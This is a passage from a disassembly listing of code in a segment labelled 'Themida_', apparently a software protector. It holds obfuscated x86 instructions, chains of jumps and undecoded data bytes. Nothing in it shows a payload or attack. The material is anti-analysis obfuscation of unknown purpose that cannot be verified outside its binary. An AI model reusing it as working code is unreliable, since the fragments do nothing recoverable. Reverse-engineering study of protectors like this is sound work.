loc_54B0B4:				; CODE XREF: Themida_:0054EA1Ej
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		push	edx
		push	eax
		jmp	loc_549F62
; ---------------------------------------------------------------------------

loc_54B0C3:				; CODE XREF: Themida_:0054E8F9j
		mov	ebp, 2C0B5D4Ah
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_55586E
; ---------------------------------------------------------------------------
		db 48h,	5, 9Eh
		dd 1AC33F0h, 535158C2h,	2549DBBh, 0C3834B34h, 2CC5E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B0EE:				; CODE XREF: Themida_:0055227Bj
		pop	ecx
		pop	dword ptr [eax]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54B0F6:				; CODE XREF: Themida_:0054DF6Cj
		add	ebx, 48C072F1h
		add	edx, 4B021D77h
		push	edi
		jmp	loc_555712
; ---------------------------------------------------------------------------
aUscc		db 'UИ√√',0
		align 2
		dw 0CA01h
		dd 592434FFh, 3304C483h, 14312414h, 24143324h, 93B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B125:				; CODE XREF: Themida_:0054895Cj
		neg	eax
		dec	eax
		add	eax, 391A0880h
		jnz	loc_54C0EB
		neg	eax
		xor	eax, 0C81F289Ch
		xor	bl, 0

loc_54B13D:				; CODE XREF: Themida_:0054E615j
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54B151:				; CODE XREF: Themida_:0054A548j
		jnb	loc_554082
		and	edi, 6FA6326Eh
		shl	edi, 7
		jmp	loc_555989
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D3010000h, 91C4E9h,	1C895C00h, 88E8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B17A:				; CODE XREF: Themida_:00555F3Cj
		pop	ebx
		or	eax, eax
		jnz	loc_5520AC
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 373219BBh
		push	esi
		mov	esi, 4182045Ah
		sub	esi, 5BB6720Dh
		jmp	loc_55200E
; ---------------------------------------------------------------------------

loc_54B1A2:				; CODE XREF: Themida_:0054E536j
		not	ch
		jmp	loc_54F746
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0D9h
		dd 0E939D3FFh, 65BFh, 405h, 0C3685100h,	8900001Fh, 2FBB241Ch
		dd 0E93CB562h, 16BBh
; ---------------------------------------------------------------------------

loc_54B1CC:				; CODE XREF: Themida_:0055218Fj
		push	ebx
		mov	ebx, 5D4B2ED1h
		jmp	loc_553842
; ---------------------------------------------------------------------------
		db 0BFh
		dd 18DF468Ch, 575FF889h, 8150E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B1E5:				; CODE XREF: Themida_:00555BD4j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_550A2C
; ---------------------------------------------------------------------------
aZPsts		db '[┤<$\PИБ≥',0
		db 0
; ---------------------------------------------------------------------------

loc_54B20B:				; CODE XREF: Themida_:00550FEDj
		add	esp, 4
		shr	ebp, 8
		push	esi
		mov	esi, 6CFF75h
		xor	ebp, esi
		jmp	loc_548AFF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 771Ch, 0E9565F54h, 7941h
; ---------------------------------------------------------------------------

loc_54B234:				; CODE XREF: Themida_:00553CD5j
		inc	eax
		add	eax, 8AFFFEB0h
		add	ebx, eax
		jmp	loc_555178
; ---------------------------------------------------------------------------

loc_54B241:				; CODE XREF: Themida_:0054F378j
		mov	[esp], eax
		jmp	loc_54C9B0
; ---------------------------------------------------------------------------
		dd offset dword_457444+5324h
		align 2
		dw 3C89h
		dd 2474FF24h, 243C8B04h, 8F04C483h, 0E95C2404h,	2851h
; ---------------------------------------------------------------------------

loc_54B264:				; CODE XREF: Themida_:00550E10j
		sub	ah, 73h
		push	ebx
		mov	bh, ah
		mov	ch, bh
		jmp	loc_54E1BD
; ---------------------------------------------------------------------------

loc_54B271:				; CODE XREF: Themida_:005535E5j
		mov	cl, bh
		jmp	loc_54D736
; ---------------------------------------------------------------------------
		dd 0BE243489h, 7462D45h, 49AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54B285:				; CODE XREF: Themida_:00553D53j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	6211h
		mov	[esp], ebp
		mov	ebp, 5AE17108h
		inc	ebp
		jl	loc_54B37F
		xor	ebp, 0AE31BDAh
		jns	loc_54FFC6
		xor	ebp, 32345B4Bh
		ja	loc_5557E9
		mov	bh, dl

loc_54B2BE:				; CODE XREF: Themida_:00551697j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54EE8E
; ---------------------------------------------------------------------------

loc_54B2CB:				; CODE XREF: Themida_:00550145j
		pop	ecx
		jmp	loc_5514AA
; ---------------------------------------------------------------------------

loc_54B2D1:				; CODE XREF: Themida_:005513B5j
		push	564D3B1Bh
		pop	eax
		jmp	loc_54A89D
; ---------------------------------------------------------------------------
		dd 31240C33h, 99E9240Ch
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B2E7:				; CODE XREF: Themida_:00554874j
		jmp	loc_55381A
; ---------------------------------------------------------------------------

loc_54B2EC:				; CODE XREF: Themida_:0054EC67j
		push	edi
		push	77D34C15h
		jmp	loc_54A12A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 69BD5500h, 81726342h, 15CEE4EDh, 0D6BB5340h, 0F72E9B44h
		dd 0ABBD55DBh, 81541002h, 0F96E81E5h, 4EC835Ch,	0BA241489h
		dd 3D4E347Eh, 6351EA81h, 0E9422C0Bh, 2D98h
; ---------------------------------------------------------------------------

loc_54B334:				; CODE XREF: Themida_:0055451Fj
		pop	ecx
		jmp	loc_5511F1
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 60D1EB81h,	0F3813A2Fh, 39737DF1h, 0E9DE9h
		dd 68E08900h, 57EDh, 54241489h,	0A953E95Ah, 0E9510000h
		dd 3210h, 98E9E089h, 0AD00004Eh, 0FFE0D5E9h, 8BC101FFh
		dd 7FE92404h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B37F:				; CODE XREF: Themida_:0054B29Ej
		xor	ebp, 0AE31BDAh
		jns	loc_54CD22
		xor	ebp, 32345B4Bh
		jmp	loc_54A7FE
; ---------------------------------------------------------------------------

loc_54B396:				; CODE XREF: Themida_:0055321Bj
		add	edx, 23701B72h
		sub	edx, 56166F54h
		jmp	loc_550D33
; ---------------------------------------------------------------------------
		db 81h
		dd 6304DAC7h, 0E9505B05h, 0A2Ah
; ---------------------------------------------------------------------------

loc_54B3B4:				; CODE XREF: Themida_:0054F3F3j
		jns	loc_54AAA8
		add	ecx, 4DFB16B6h
		add	ecx, 8F8EC4DEh
		pop	esp
		not	esi
		not	esi
		xor	esi, 0C96A92F2h
		jmp	loc_55346A
; ---------------------------------------------------------------------------

loc_54B3D6:				; CODE XREF: Themida_:00555F9Fj
		push	edx
		mov	edx, 4E18A93Dh
		sub	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54EF79
; ---------------------------------------------------------------------------

loc_54B3F0:				; CODE XREF: Themida_:0054F7DCj
		xchg	ecx, edi
		pop	ecx
		sub	edi, 6C8F9ED2h
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		inc	ebp
		inc	ebp
		push	edx
		mov	edx, 764F6871h
		not	edx
		neg	edx
		jmp	loc_54CC11
; ---------------------------------------------------------------------------

loc_54B415:				; CODE XREF: Themida_:00550977j
		mov	edi, 110D6E9Ah
		jmp	loc_54FF9B
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFF5C3E9h, 0C8B66FFh, 0E9545324h, 908h
; ---------------------------------------------------------------------------

loc_54B430:				; CODE XREF: Themida_:00549C24j
		add	esp, 4
		push	ecx
		mov	ch, 0A3h
		not	ch
		add	ch, 64h
		jmp	loc_54E52C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C481h, 0EC830000h, 24048904h, 0C4FE47B4h, 0E4C0DCF6h
		dd 0E9526604h, 13A5h, 0C8BCD01h, 4C48324h, 2B850h, 0DFE90000h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B473:				; CODE XREF: Themida_:0054C5B2j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_54D64D
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 5
		dd 1FBDF181h, 0E9817BC6h, 0DCA658B4h, 159C889h,	2434FFC6h
		dd 4C48158h, 1000000h, 7F6E68C6h, 14890000h, 9C24E924h
		dd 665C0000h, 56240C8Bh, 0E9505E54h, 4CE2h, 0F01E37B8h
		dd 0D0F74018h, 4B3EE90Dh, 37BA521Fh, 4A63C11Eh,	0DAF7DAF7h
		dd 770DCA81h, 0F2816740h, 5BEB7F8Fh, 35E9D001h,	8100000Bh
		dd 0D44D9EC9h, 0D2E94922h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B4EF:				; CODE XREF: Themida_:00549AD0j
		mov	ch, 12h
		sub	al, 0CFh
		push	ecx
		mov	ch, 0FDh
		or	ch, 52h
		inc	ch
		neg	ch
		jmp	loc_555F08
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F4E95924h, 0B5FFFFE6h, 6CD80B6h, 2849F580h,	0C6FE59EEh
		dd 60CC6851h, 4890000h,	0E95EB424h, 855Ch
; ---------------------------------------------------------------------------

loc_54B528:				; CODE XREF: Themida_:0054D7F4j
		add	esp, 4
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54B533:				; CODE XREF: Themida_:00550C3Fj
		push	5432h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_549313
; ---------------------------------------------------------------------------
		db 66h
		dd 81240489h, 4ECh, 24148900h, 25D7E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B555:				; CODE XREF: Themida_:00553690j
					; Themida_:00555565j
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_551613
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C481h, 0D0000000h, 0DBB75366h, 5B66F800h, 8124148Bh
		dd 4C4h, 35FF6800h, 14890000h, 7259E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B586:				; CODE XREF: Themida_:0054D960j
		mov	dh, 96h
		push	ecx
		mov	cl, dh
		push	eax
		mov	ah, cl
		mov	bh, ah
		pop	eax
		pop	ecx
		pop	dx
		shl	bh, 7
		xor	bh, 31h
		add	bh, 0FFh
		not	bh
		push	edx
		jmp	loc_54CB51
; ---------------------------------------------------------------------------

loc_54B5A5:				; CODE XREF: Themida_:00553567j
		push	edx
		push	eax
		mov	ah, 0F1h
		jmp	loc_54A94C
; ---------------------------------------------------------------------------

loc_54B5AE:				; CODE XREF: Themida_:0054E2D2j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 3393F25h
		xor	esi, 5BAA245Ah
		push	55D1h
		mov	[esp], edx
		mov	edx, 6C9748CBh
		inc	edx
		shl	edx, 2
		push	ebx
		mov	ebx, 7F5F53A9h
		or	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 5F65A12h
		jmp	loc_553DA2
; ---------------------------------------------------------------------------

loc_54B5E6:				; CODE XREF: Themida_:0054F602j
		pop	eax
		add	esp, 4
		push	ebp
		jmp	loc_551B68
; ---------------------------------------------------------------------------

loc_54B5F0:				; CODE XREF: Themida_:0054C10Cj
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_551A89
; ---------------------------------------------------------------------------

loc_54B605:				; CODE XREF: Themida_:0054DF13j
		sub	edi, 574D70EAh
		jmp	loc_549308
; ---------------------------------------------------------------------------
		dd 4C481h, 0D8280000h, 570E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B61D:				; CODE XREF: Themida_:00551726j
		dec	ecx
		jge	loc_54AA0B
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_554ABE
; ---------------------------------------------------------------------------

loc_54B633:				; CODE XREF: Themida_:0054EF51j
		mov	[esp], edx
		jmp	loc_54DC54
; ---------------------------------------------------------------------------

loc_54B63B:				; CODE XREF: Themida_:0054A483j
		sub	eax, 48CD0E4Ah
		add	eax, ebp
		jmp	loc_555EC2
; ---------------------------------------------------------------------------
		db 80h
		dd 0E528E9C5h, 58E9ED80h, 284CED80h, 4CC580F5h,	0E9A1C580h
		dd 0A958h, 24348B66h, 2C481h, 8F660000h, 87662404h, 0E95566EEh
		dd 7DBCh, 5C240C87h, 8448E9h, 0E9FE8900h, 0A050h
; ---------------------------------------------------------------------------

loc_54B688:				; CODE XREF: Themida_:005557B9j
		add	edi, 4
		sub	edi, 4
		jmp	loc_549F50
; ---------------------------------------------------------------------------
a1sBsRvtsi	db '1И]│АсRvtИ╘',27h,0
		align 4

loc_54B6A4:				; CODE XREF: Themida_:loc_5491F0j
		dec	eax
		jmp	loc_54C690
; ---------------------------------------------------------------------------
		dw 0C586h
		dd 0C586D0F6h, 44B5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B6B5:				; CODE XREF: Themida_:00554BB1j
		push	esi
		jmp	loc_55287B
; ---------------------------------------------------------------------------

loc_54B6BB:				; CODE XREF: Themida_:005490A5j
					; Themida_:00551E2Ej
		mov	[eax], ebp
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_550758
; ---------------------------------------------------------------------------
		db 29h,	4Ch, 24h
		dd 240C8B04h, 7ED3E9h, 4C78100h, 68000000h, 5EC6h, 0E9243489h
		dd 5BBAh, 612DE0B8h, 58C20907h,	8142D2F7h, 711889E2h, 0BEEA8105h
		dd 2988FD94h, 2798E9D0h, 0D680000h, 89000028h, 4812424h
		dd 424h, 0F6E95E00h, 68000056h,	0
		dd 0D57E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B729:				; CODE XREF: Themida_:00548FA0j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		jmp	loc_54DEEF
; ---------------------------------------------------------------------------

loc_54B741:				; CODE XREF: Themida_:0054CC88j
		push	48C3h
		mov	[esp], esp
		jmp	loc_55153A
; ---------------------------------------------------------------------------

loc_54B74E:				; CODE XREF: Themida_:0054A8AEj
					; Themida_:0054ABF1j
		and	ecx, esi
		mov	esi, [esp]
		push	27CCh
		mov	[esp], edi
		push	0FC2h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		mov	edx, 32CA0B7Dh
		or	edx, 587F5E89h
		or	edx, 484932E2h
		jmp	loc_54BD9B
; ---------------------------------------------------------------------------

loc_54B783:				; CODE XREF: Themida_:0054DB42j
		jb	loc_54C851
		sub	ebp, 6D12BC64h
		jmp	loc_54F251
; ---------------------------------------------------------------------------
		dd 5107E8C1h, 0FFDBA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B79D:				; CODE XREF: Themida_:00552255j
		or	ebp, 5E8345Eh
		jo	loc_550E6D
		push	6C4Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_5548ED
; ---------------------------------------------------------------------------

loc_54B7BF:				; CODE XREF: Themida_:0054DC41j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5526E5
; ---------------------------------------------------------------------------

loc_54B7CD:				; CODE XREF: Themida_:0054FC57j
		add	esi, eax
		add	esi, 113261E2h
		pop	eax
		push	edx
		jmp	loc_54DD95
; ---------------------------------------------------------------------------

loc_54B7DC:				; CODE XREF: Themida_:0054AB56j
		push	669E55DCh
		jmp	loc_5543E9
; ---------------------------------------------------------------------------

loc_54B7E6:				; CODE XREF: Themida_:00554E20j
		xor	esi, eax
		pop	eax
		jmp	loc_54FF15
; ---------------------------------------------------------------------------
		dw 6664h
		dd 6802B60Fh, 741Ch, 89240489h,	4BB53E0h, 51000000h, 1D36FFB9h
		dd 0A1C18168h, 10270F2h, 0FEE959C8h, 2100002Fh,	7954E9F3h
		dd 0EC830000h, 242C8904h, 0FF50B3BDh, 438DE96Ch, 0F6E90000h
		dd 5EFFFFD0h, 5FA3E953h, 0C5810000h, 22DE5E42h,	34FFEB89h
		dd 705BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B84A:				; CODE XREF: Themida_:0055495Dj
		jmp	loc_549F4B
; ---------------------------------------------------------------------------
		db 89h
		dd 0CE6853E7h, 89000013h, 4812424h, 424h, 241C8B00h, 8104C483h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0BE562414h, 4
		dd 15EF289h, 24148BD7h,	8304C483h, 3C3302C7h, 3AFDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B896:				; CODE XREF: Themida_:0054CBFEj
		mov	eax, 71E03AB4h
		jmp	loc_55392E
; ---------------------------------------------------------------------------
		dd 6624248Bh, 5624048Bh, 0C681E689h, 4,	4EE81h,	34870000h
		dd 34895C24h, 0E9E68924h, 17C1h
; ---------------------------------------------------------------------------

loc_54B8C4:				; CODE XREF: Themida_:0054F3FDj
					; Themida_:00552459j
		pop	esi
		not	eax
		push	edx
		mov	edx, 1D8A79E6h
		sub	eax, edx
		pop	edx
		and	eax, 59A468C8h
		neg	eax
		shl	eax, 6
		xor	eax, 0DEEFEE04h
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_551311
; ---------------------------------------------------------------------------
		db 0E9h, 1Ah, 0D6h
		dd 0E829FFFFh, 3F0AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54B8F5:				; CODE XREF: Themida_:00554EFEj
		pop	esi
		push	ebx
		mov	ebx, 503D6182h
		add	ebx, 0FFFFFFFFh
		add	ebx, 0AFC29E83h
		sub	esi, 72300127h
		add	esi, ebx
		add	esi, 72300127h
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_551DCC
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLSG		db '▀$$И©┐',0
		align 4

loc_54B934:				; CODE XREF: Themida_:0054E648j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_552799
; ---------------------------------------------------------------------------
		dd 51D830ACh, 52B4B450h, 0C2807DB2h, 65EA8035h,	0FE16CA80h
		dd 8CC280C2h, 44E9D400h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B967:				; CODE XREF: Themida_:0054BFDDj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 20000h
		and	eax, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_548E5C
; ---------------------------------------------------------------------------

loc_54B987:				; CODE XREF: Themida_:005509D9j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_554DA8
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0C7h
		dd 537B4314h, 5B0C55BBh, 0E4C3E92Bh, 8B66FFFFh,	23E92404h
		dd 68000054h, 72B8h, 81242489h,	42404h,	815E0000h, 4C6h
		dd 46D9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B9CA:				; CODE XREF: Themida_:0055553Cj
		sub	eax, esi
		sub	eax, 32B31B7h
		pop	esi
		jmp	loc_553D6E
; ---------------------------------------------------------------------------

loc_54B9D7:				; CODE XREF: Themida_:0055128Cj
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5535B7
; ---------------------------------------------------------------------------

loc_54B9E7:				; CODE XREF: Themida_:005525C5j
		mov	[esp], esp
		jmp	loc_5540CD
; ---------------------------------------------------------------------------

loc_54B9EF:				; CODE XREF: Themida_:00549B5Ej
		add	edi, 4
		add	edi, 2
		jmp	loc_551B53
; ---------------------------------------------------------------------------
		dd 4EC815Fh, 89000000h,	2BB241Ch, 81000000h, 7B5F2AC1h
		dd 16DCE952h, 0E9D10000h, 8F9E981h, 814168FBh, 45AF1CF1h
		dd 59CA89A1h, 723EB81h,	0D301535Ah, 9605E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BA39:				; CODE XREF: Themida_:0054A03Cj
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54BA4F:				; CODE XREF: Themida_:00549A47j
		add	esi, 1441D5Ah
		jmp	loc_54A628
; ---------------------------------------------------------------------------
		dw 401h
		dd 90B85024h, 52540A45h, 0FFEDACE9h, 0BFFFh, 0DF290000h
		dd 0C15FFB87h, 0C38102EBh, 6F7B9CDh, 0FFDF94E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BA81:				; CODE XREF: Themida_:00548AC2j
		mov	[esp], ecx
		mov	ecx, 13220B07h
		push	esi
		mov	esi, 4B996B88h
		add	[esp+8], esi
		pop	esi
		sub	[esp+4], ecx
		push	edx
		mov	edx, 4B996B88h
		add	dword ptr [esp+8], 2427329Ah
		sub	[esp+8], edx
		jmp	loc_54D3B3
; ---------------------------------------------------------------------------

loc_54BAAF:				; CODE XREF: Themida_:00548ADEj
		mov	ecx, esi
		pop	esi
		jmp	loc_54F4EC
; ---------------------------------------------------------------------------
		db 81h
		dd 3261E2EEh, 0FD0BE911h, 835FFFFFh, 48704C0h, 8C685C24h
		dd 89000040h, 0C589242Ch, 45C468h, 4500E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BADE:				; CODE XREF: Themida_:0055131Cj
		mov	[esp], edx
		jmp	loc_54ACDC
; ---------------------------------------------------------------------------

loc_54BAE6:				; CODE XREF: Themida_:00550AB2j
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, 38E33182h
		add	edi, esi
		push	ebx
		mov	ebx, 38E33182h
		jmp	loc_54F418
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BD242C89h, 0D2C480DEh, 815DE901h, 3F0578C6h, 81CE013Eh
		dd 3F0578EEh, 3487593Eh, 24248B24h, 0E9028864h,	0FFFFCDFDh
		dd 0AA589B35h, 0F7E8D166h, 3795E9D8h, 52AC0000h, 94EBE9h
		dd 62BC0D00h, 0F402902h, 7A8880h, 7D30500h, 0C589DFC8h
		dd 0D0C38158h, 0E9696564h, 25ABh, 8304C683h, 348904ECh
		dd 2474FF24h, 48F5E04h,	0BBE95C24h, 66FFFFE6h, 0E9240C8Bh
		dd 0FFFFCF98h, 5DA92D58h, 0F8015B03h, 25D4E9h, 4EC8100h
		dd 89000000h, 0DAB1240Ch, 0FFEB3AE9h, 4EE95AFFh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BBA3:				; CODE XREF: Themida_:005518D9j
		pop	esi
		jmp	loc_54D432
; ---------------------------------------------------------------------------

loc_54BBA9:				; CODE XREF: Themida_:0055571Fj
		mov	eax, 2C083BF8h
		add	eax, 1DA7C851h
		add	edx, eax
		jmp	loc_551651
; ---------------------------------------------------------------------------
aH@		db '\h@+',0
		align 10h
		dd 89243489h, 4C681E6h,	81000000h, 4C6h, 24348700h, 4C4815Ch
		dd 0FF000000h, 48B2434h, 5F545724h, 0FFCF61E9h,	4C481FFh
		dd 33000000h, 4312404h,	24043324h, 0FF24248Bh, 48B2434h
		dd 4C48124h, 68000000h,	721Bh, 54241489h, 0D57FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BC16:				; CODE XREF: Themida_:00551929j
		add	eax, 2F3C4C96h
		add	eax, ebp
		push	edi
		mov	edi, 2F3C4C96h
		sub	eax, edi
		pop	edi
		jmp	loc_54A6C3
; ---------------------------------------------------------------------------

loc_54BC2B:				; CODE XREF: Themida_:0054BF68j
		shr	ebp, 1
		jmp	loc_548E0C
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 553C68h, 24248900h, 4240483h, 0E924048Fh,	95EEh
; ---------------------------------------------------------------------------

loc_54BC4C:				; CODE XREF: Themida_:0054D044j
		push	ebp
		jmp	loc_54D219
; ---------------------------------------------------------------------------

loc_54BC52:				; CODE XREF: Themida_:00548A1Dj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54575824h, 7BF4E9h, 3660BA00h, 0EAC15164h, 19C28108h
		dd 0E90FD540h, 293Bh, 0A6E9028Fh, 0BEFFFFCCh, 407A01A2h
		dd 0EDEE814Eh, 0E96F042Ah, 53FCh
; ---------------------------------------------------------------------------

loc_54BC94:				; CODE XREF: Themida_:005509CAj
		jmp	loc_54D09F
; ---------------------------------------------------------------------------

loc_54BC99:				; CODE XREF: Themida_:0054F6DCj
		add	esp, 4
		jmp	loc_549143
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 6624248Bh, 9C240429h, 0FFCC78E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BCB1:				; CODE XREF: Themida_:0054BFBAj
		mov	di, si
		jmp	loc_54A5FA
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 0Ch
		dd 4C48124h, 57000000h,	50DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54BCC9:				; CODE XREF: Themida_:005509D0j
		xor	ebp, 33DA0D97h
		xor	ebp, 0C24D5267h
		add	edi, ebp
		jmp	loc_5515D6
; ---------------------------------------------------------------------------

loc_54BCDC:				; CODE XREF: Themida_:00550753j
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_552442
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 3B8E5554h, 8107E6C1h, 590870C6h, 5EF12976h, 2D59C829h
		dd 6BC569FBh, 0FB05D801h, 56BC569h, 3D66214Dh, 0C674942Dh
		dd 2F685164h, 8900002Bh, 5868242Ch, 5D1DC24Ah, 3D52B850h
		dd 0AFE9670Ah
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BD2B:				; CODE XREF: Themida_:0054D0ADj
		jmp	loc_54FA5F
; ---------------------------------------------------------------------------

loc_54BD30:				; CODE XREF: Themida_:00554693j
		pop	dword ptr [esp]
		jmp	loc_549D15
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 515204C4h, 0A24B95B9h, 98E95770h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BD4B:				; CODE XREF: Themida_:0054A329j
					; Themida_:0054A3DDj
		add	eax, 2986199h
		jmp	loc_54FDD7
; ---------------------------------------------------------------------------

loc_54BD55:				; CODE XREF: Themida_:0054F94Fj
		add	esp, 4
		jmp	loc_54C2B0
; ---------------------------------------------------------------------------

loc_54BD60:				; CODE XREF: Themida_:0054BF12j
		xor	esi, edx
		pop	edx
		shl	esi, 3
		js	loc_54E742
		add	esi, 0CC5DE7CEh
		mov	edx, esi
		pop	esi
		and	edi, edx
		jmp	loc_54DD0A
; ---------------------------------------------------------------------------

loc_54BD7C:				; CODE XREF: Themida_:0054E8D3j
		inc	cl
		sub	cl, 0FFh
		jmp	loc_54A9CF
; ---------------------------------------------------------------------------

loc_54BD86:				; CODE XREF: Themida_:00555511j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54EB0D
; ---------------------------------------------------------------------------

loc_54BD9B:				; CODE XREF: Themida_:0054B77Ej
		dec	edx
		sub	edx, 7AFF7FFAh
		add	edi, edx
		pop	edx
		jmp	loc_553664
; ---------------------------------------------------------------------------

loc_54BDAA:				; CODE XREF: Themida_:00554099j
		pop	edi
		add	esi, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5500D6
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFFCB61h
; ---------------------------------------------------------------------------

loc_54BDC8:				; CODE XREF: Themida_:0054D59Cj
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	ecx
		jmp	loc_551B35
; ---------------------------------------------------------------------------
		dw 28B8h
		dd 296AC868h, 50558C7h,	1126C09h, 9052DF8h, 8BE9126Ch
		dd 0B2000040h, 66D5886Eh, 4FE5805Ah, 1B35366h, 5B66DD00h
		dd 0F6FCCD80h, 324668DDh, 14890000h, 8035B624h,	0F68070F6h
		dd 0DFEE8046h, 0EE80D6F6h, 0A1B450ADh, 0FFF81AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BE2D:				; CODE XREF: Themida_:0055331Dj
		xor	eax, 0D87AD26Fh
		mov	edi, eax
		pop	eax
		jmp	loc_54916F
; ---------------------------------------------------------------------------

loc_54BE3A:				; CODE XREF: Themida_:00555A10j
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	esi, edi
		jmp	loc_54F94C
; ---------------------------------------------------------------------------

loc_54BE49:				; CODE XREF: Themida_:00554165j
		pop	ebx
		jmp	loc_54E760
; ---------------------------------------------------------------------------

loc_54BE4F:				; CODE XREF: Themida_:00554267j
		push	ebx
		mov	ebx, 5D136239h
		dec	ebx
		jns	loc_54D874
		inc	ebx
		add	ebx, 9B144F6h
		mov	cl, 60h
		pop	ecx

loc_54BE66:				; CODE XREF: Themida_:00548AFAj
		push	ecx
		mov	ecx, 108C717Ah
		add	edx, ecx
		pop	ecx
